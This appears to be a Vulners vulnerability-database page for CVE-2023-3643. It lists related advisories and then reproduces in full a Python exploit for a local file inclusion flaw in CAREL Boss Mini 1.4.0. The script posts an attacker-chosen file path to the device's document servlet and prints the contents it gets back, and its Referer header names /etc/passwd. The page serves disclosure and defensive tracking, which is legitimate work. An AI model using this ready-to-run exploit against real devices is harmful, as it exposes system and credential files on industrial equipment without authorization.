| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Boss Mini 1.4.0 - local file inclusion Exploit | 4 Mar 202400:00 | – | zdt | |
| CVE-2023-3643 | 12 Jul 202322:25 | – | circl | |
| Carel Boss Mini 安全漏洞 | 12 Jul 202300:00 | – | cnnvd | |
| CVE-2023-3643 | 12 Jul 202317:31 | – | cve | |
| CVE-2023-3643 Boss Mini document file inclusion | 12 Jul 202317:31 | – | cvelist | |
| Boss Mini 1.4.0 - local file inclusion | 3 Mar 202400:00 | – | exploitdb | |
| EUVD-2023-44287 | 12 Jul 202317:31 | – | euvd | |
| CAREL Boss-Mini | 20 Jun 202406:00 | – | ics | |
| CAREL Boss Mini <= 1.4.0 - Local File Inclusion | 3 Jun 202606:04 | – | nuclei | |
| CVE-2023-3643 | 12 Jul 202318:15 | – | nvd |
# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)
# Date: 07/12/2023
# Exploit Author: nltt0
# Version: 1.4.0 (Build 6221)
# CVE: CVE-2023-3643
from requests import post
from urllib.parse import quote
from argparse import ArgumentParser
banner = r"""
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0 [https://github.com/nltt-br]
"""
print(banner)
try:
parser = ArgumentParser(description='Local file inclusion [Boss Mini]')
parser.add_argument('--domain', required=True, help='Application domain')
parser.add_argument('--file', required=True, help='Local file')
args = parser.parse_args()
host = args.domain
file = args.file
url = '{}/boss/servlet/document'.format(host)
file2 = quote(file, safe='')
headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',
'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)
}
data = {
'path': file2
}
try:
req = post(url, headers=headers, data=data, verify=False)
if req.status_code == 200:
print(req.text)
except Exception as e:
print('Error in {}'.format(e))
except Exception as e:
print('Error in {}'.format(e))Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation